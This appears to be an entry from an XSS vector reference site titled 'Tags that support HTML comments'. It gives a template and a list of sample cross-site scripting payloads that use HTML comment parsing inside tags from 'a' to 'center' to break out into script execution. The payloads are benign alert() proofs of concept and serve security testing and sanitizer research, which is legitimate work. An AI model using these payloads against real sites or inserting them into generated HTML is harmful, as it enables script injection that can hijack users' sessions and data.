Tags that support HTML comments

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This vector attempts to show which HTML tags support HTML comments.

Created Jan 26, 2025

Updated May 27, 2025

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CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml

Template used:

<$[data1]><!-- </$[data1]> <div id="--><script>log('$[data1]')</script>"></div> -->

Sample payloads

<a><!-- </a> <div id="--><script>alert('a')</script>"></div> -->

<abbr><!-- </abbr> <div id="--><script>alert('abbr')</script>"></div> -->

<acronym><!-- </acronym> <div id="--><script>alert('acronym')</script>"></div> -->

<address><!-- </address> <div id="--><script>alert('address')</script>"></div> -->

<area><!-- </area> <div id="--><script>alert('area')</script>"></div> -->

<article><!-- </article> <div id="--><script>alert('article')</script>"></div> -->

<aside><!-- </aside> <div id="--><script>alert('aside')</script>"></div> -->

<audio><!-- </audio> <div id="--><script>alert('audio')</script>"></div> -->

<b><!-- </b> <div id="--><script>alert('b')</script>"></div> -->

<base><!-- </base> <div id="--><script>alert('base')</script>"></div> -->

<bdi><!-- </bdi> <div id="--><script>alert('bdi')</script>"></div> -->

<bdo><!-- </bdo> <div id="--><script>alert('bdo')</script>"></div> -->

<big><!-- </big> <div id="--><script>alert('big')</script>"></div> -->

<blockquote><!-- </blockquote> <div id="--><script>alert('blockquote')</script>"></div> -->

<body><!-- </body> <div id="--><script>alert('body')</script>"></div> -->

<br><!-- </br> <div id="--><script>alert('br')</script>"></div> -->

<button><!-- </button> <div id="--><script>alert('button')</script>"></div> -->

<canvas><!-- </canvas> <div id="--><script>alert('canvas')</script>"></div> -->

<caption><!-- </caption> <div id="--><script>alert('caption')</script>"></div> -->

<center><!-- </center> <div id="--><script>alert('center')</script>"></div> -->